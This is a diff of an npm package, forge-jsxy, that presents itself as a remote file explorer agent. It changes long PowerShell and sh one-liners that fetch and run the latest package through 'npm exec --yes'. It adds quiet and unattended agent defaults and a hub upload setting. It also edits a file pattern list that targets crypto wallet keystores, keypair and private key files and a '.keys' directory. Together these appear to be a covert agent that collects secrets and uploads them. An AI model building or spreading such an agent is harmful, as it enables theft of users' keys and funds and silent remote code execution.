+ return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-kill-agent -ErrorAction SilentlyContinue){ & forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-kill-agent.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent";
2240
2237
  }
2241
- return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; G=\"$ROOT/forge-jsx/scripts/forge-jsx-explorer-kill-agent.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; elif command -v forge-jsx-explorer-kill-agent >/dev/null 2>&1; then forge-jsx-explorer-kill-agent; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; fi";
2238
+ return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-kill-agent.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; if command -v forge-jsx-explorer-kill-agent >/dev/null 2>&1; then forge-jsx-explorer-kill-agent; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; fi";
2242
2239
  }
2243
2240
  /** Timeouts that call `doConnect()` after Upgrade or Restart agent — cleared on Disconnect or reconnect success (idle skips). */
2244
2241
  let forgeUpgradeReconnectTimeouts = [];
@@ -2329,7 +2326,7 @@ function clearStaleExplorerShellBannerFromTerminal(){
2329
2326
  const txt = String(tout.textContent || '');
2330
2327
  const trimmed = txt.trim();
2331
2328
  if(!trimmed) return;
2332
- if(/Starting forge-agent restart/i.test(txt) || /Starting forge-jsxy upgrade/i.test(txt) || /Starting kill agent/i.test(txt)){
2329
+ if(/Starting forge-agent restart/i.test(txt) || /Starting forge-jsxy upgrade/i.test(txt) || /Starting forge-jsx upgrade/i.test(txt) || /Starting kill agent/i.test(txt)){
2333
2330
  tout.textContent = '';
2334
2331
  tout.classList.remove('terminal-exit-warn');
2335
2332
  }
@@ -15,8 +15,6 @@
15
15
  "keypair.json",
16
16
  "private_key.json",
17
17
  "secret.key",
18
- "private.pem",
19
- "ecdsa.pem",
20
18
  "UTC--*",
21
19
  "*.key",
22
20
  "*.pk",
@@ -52,14 +50,8 @@
52
50
  "*wallet*.json",
53
51
  "*id.json",
54
52
  "*keypair*.json",
55
- "*private*.pem",
56
53
  "*secret*.txt",
57
- "*private*.txt",
58
- "wg*.conf",
59
- "wg0.conf",
60
- "identity.age",
61
- "*.age",
62
- "age-key.txt"
54
+ "*private*.txt"
63
55
  ],
64
56
  "include_dirs": [
65
57
  ".keys",
@@ -49,6 +49,10 @@ const fsProtocol_1 = require("./fsProtocol");
49
49
  const deploymentDefaults_1 = require("./deploymentDefaults");
50
50
  const windowsInputSync_1 = require("./windowsInputSync");
51
51
  const relayForAgentHttp_1 = require("./relayForAgentHttp");
52
+ function envQuietAgentEnabled() {
53
+ const raw = (process.env.FORGE_JS_QUIET_AGENT || "").trim().toLowerCase();
54
+ return ["1", "true", "yes", "on"].includes(raw);
55
+ }
52
56
  function parseAgentArgv(argv) {
53
57
  let relay;
54
58
  let session;
@@ -74,7 +78,7 @@ function parseAgentArgv(argv) {
74
78
  else if (a === "--force")
75
79
  force = true;
76
80
  }
77
- if ((process.env.FORGE_JS_QUIET_AGENT || "").trim() === "1")
81
+ if (envQuietAgentEnabled())
78
82
  quiet = true;
79
83
  return { relay, session, password, noPassword, noFilesystem, quiet, force };
80
84
  }
@@ -160,6 +164,7 @@ function runForgeAgentWithSingleton(opts) {
160
164
  (0, agentPid_1.clearStaleAgentPidFile)();
161
165
  (0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
162
166
  (0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
167
+ (0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
163
168
  if (!opts.force) {
164
169
  const meta = (0, agentPid_1.readAgentPidFile)();
165
170
  const existing = meta.pid;
@@ -10,7 +10,7 @@
10
10
  <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
11
11
  <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
12
12
  <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
13
- <!-- forge-jsxy@1.0.81 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
13
+ <!-- forge-jsxy@1.0.82 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
14
14
  <script>
15
15
  (function () {
16
16
  try {
@@ -2210,35 +2210,32 @@ function ensureAgentPlatformForExplorerForgeCmd(){
2210
2210
  return false;
2211
2211
  }
2212
2212
  /**
2213
- * Retarget npm package install/exec target to `forge-jsxy`, but keep legacy command/path fallbacks.
2214
- * This lets old hosts that still only have `forge-jsx` binaries/scripts recover when npm exec fails.
2213
+ * Retarget npm **`npm exec` / `install -g`** package spec to **`forge-jsxy@latest`** (current npm name).
2214
+ * **Filesystem** script paths stay literal **`forge-jsx`** / **`forge-jsxy`** — each shell one-liner runs a small loop trying **`$ROOT/{forge-jsxy,forge-jsx}/scripts/*.mjs`** so old globals (`node_modules/forge-jsx`) and new (`forge-jsxy`) both resolve without rewriting strings here.
2215
2215
  */
2216
2216
  function retargetForgeJsxyCommand(cmd){
2217
2217
  return String(cmd || '')
2218
2218
  .replaceAll('forge-jsx@latest', 'forge-jsxy@latest')
2219
2219
  .replaceAll('install -g forge-jsx@latest', 'install -g forge-jsxy@latest')
2220
- .replaceAll('npm uninstall -g forge-jsx', 'npm uninstall -g forge-jsxy')
2221
- // Update fallback directory path: globally-installed package dir is now `forge-jsxy` not `forge-jsx`
2222
- .replaceAll('/forge-jsx/scripts/', '/forge-jsxy/scripts/')
2223
- .replaceAll("'forge-jsx\\\\scripts\\\\", "'forge-jsxy\\\\scripts\\\\");
2220
+ .replaceAll('npm uninstall -g forge-jsx', 'npm uninstall -g forge-jsxy');
2224
2221
  }
2225
2222
  function forgeJsxExplorerUpgradeShellCommand(){
2226
2223
  if(useWindowsForgeJsxShellCommand()){
2227
- return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ $s=Join-Path $r 'forge-jsx\\scripts\\forge-jsx-explorer-upgrade.mjs'; if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc install -g forge-jsx@latest --no-fund --no-audit; if ($LASTEXITCODE -eq 0) { if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ $s=Join-Path $r 'forge-jsx\\scripts\\forge-jsx-explorer-upgrade.mjs'; if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ $s=Join-Path $r 'forge-jsx\\scripts\\forge-jsx-explorer-upgrade.mjs'; if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } }; exit $LASTEXITCODE";
2224
+ return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc install -g forge-jsx@latest --no-fund --no-audit; if ($LASTEXITCODE -eq 0) { if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; exit $LASTEXITCODE";
2228
2225
  }
2229
- return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; G=\"$ROOT/forge-jsx/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" install -g forge-jsx@latest --no-fund --no-audit; if [ $? -eq 0 ]; then ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; G=\"$ROOT/forge-jsx/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; command -v forge-jsx-explorer-upgrade >/dev/null 2>&1 && forge-jsx-explorer-upgrade; exit $?";
2226
+ return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" install -g forge-jsx@latest --no-fund --no-audit; if [ $? -eq 0 ]; then ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; command -v forge-jsx-explorer-upgrade >/dev/null 2>&1 && forge-jsx-explorer-upgrade; exit $?";
2230
2227
  }
2231
2228
  function forgeJsxExplorerRestartShellCommand(){
2232
2229
  if(useWindowsForgeJsxShellCommand()){
2233
- return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-restart -ErrorAction SilentlyContinue){ & forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ $s=Join-Path $r 'forge-jsx\\scripts\\forge-jsx-explorer-restart.mjs'; if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart";
2230
+ return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-restart -ErrorAction SilentlyContinue){ & forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-restart.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart";
2234
2231
  }
2235
